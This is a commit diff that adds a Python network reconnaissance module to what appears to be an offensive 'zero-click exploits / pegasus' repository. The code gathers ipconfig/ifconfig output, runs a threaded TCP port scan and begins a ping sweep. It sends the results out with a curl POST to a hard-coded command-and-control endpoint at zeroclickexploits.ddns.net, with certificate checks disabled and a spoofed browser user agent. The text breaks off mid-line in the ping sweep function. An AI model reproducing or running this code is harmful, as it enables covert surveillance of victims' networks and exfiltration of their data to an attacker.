Create network_reconnaissance.py

Author: ProjectZeroDays

src/exploits/zero-click_exploits/pegasus/network_reconnaissance/network_reconnaissance.py

@@ -0,0 +1,99 @@
+# /src/exploits/zero-click_exploits/pegasus/network_reconnaissance/network_reconnaissance.py
+
+import os
+import sys
+import subprocess
+import json
+import time
+import socket
+import threading
+from datetime import datetime
+
+# --- Configuration ---
+# C2 Configuration to exfiltrate recon data
+C2_DOMAIN = "zeroclickexploits.ddns.net"
+C2_PORT = 443
+C2_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/exfil"
+TARGET_ID = os.environ.get("TARGET_ID", "unknown")
+USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+
+# --- Logging ---
+def _log_event(message, level='info'):
+    timestamp = datetime.now().isoformat()
+    print(f"[{timestamp}] [{level.upper()}] {message}")
+
+# --- C2 Communication ---
+def exfiltrate_data(data):
+    """Exfiltrates collected data to the C2 server."""
+    try:
+        payload = {
+            "type": "network_recon",
+            "timestamp": datetime.utcnow().isoformat() + "Z",
+            "target_id": TARGET_ID,
+            "data": json.dumps(data)
+        }
+        json_payload = json.dumps(payload)
+        cmd = [
+            "curl", "-k", "-s", "-X", "POST",
+            "-H", "Content-Type: application/json",
+            "-H", f"User-Agent: {USER_AGENT}",
+            "-d", json_payload,
+            "--connect-timeout", "10",
+            "--max-time", "60",
+            C2_ENDPOINT
+        ]
+        subprocess.run(cmd, capture_output=True, text=True, timeout=70)
+        _log_event("Reconnaissance data exfiltrated.")
+    except Exception as e:
+        _log_event(f"Failed to exfiltrate data: {e}", 'error')
+
+# --- Core Recon Logic ---
+def get_local_network_info():
+    """Gathers basic local network information."""
+    try:
+        if sys.platform == 'win32':
+            # Use ipconfig on Windows
+            result = subprocess.run("ipconfig", capture_output=True, text=True, check=True)
+        else:
+            # Use ifconfig on Linux/macOS
+            result = subprocess.run("ifconfig", capture_output=True, text=True, check=True)
+        return {"local_network_config": result.stdout}
+    except Exception as e:
+        _log_event(f"Failed to get local network info: {e}", 'error')
+        return {"error": str(e)}
+
+def scan_host(host, ports, open_ports):
+    """Scans a single host for open ports."""
+    for port in ports:
+        try:
+            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+                s.settimeout(1)
+                result = s.connect_ex((host, port))
+                if result == 0:
+                    open_ports.append(port)
+        except Exception:
+            continue
+
+def port_scan(target, ports_to_scan, thread_count=50):
+    """Performs a multi-threaded TCP port scan on a target."""
+    _log_event(f"Starting port scan on {target} for ports {ports_to_scan}")
+    open_ports = []
+    threads = []
+    for port in ports_to_scan:
+        thread = threading.Thread(target=scan_host, args=(target, [port], open_ports))
+        threads.append(thread)
+        thread.start()
+        # Limit the number of concurrent threads
+        if len(threads) >= thread_count:
+            for t in threads:
+                t.join()
+            threads = []
+    for t in threads:
+        t.join()
+    _log_event(f"Port scan on {target} finished. Open ports: {open_ports}")
+    return open_ports
+
+def ping_sweep(network_range):
+    """Performs a simple ping sweep to identify live hosts."""
+    _log_event(f"Starting ping sweep on {network_range}")
+    live_hosts =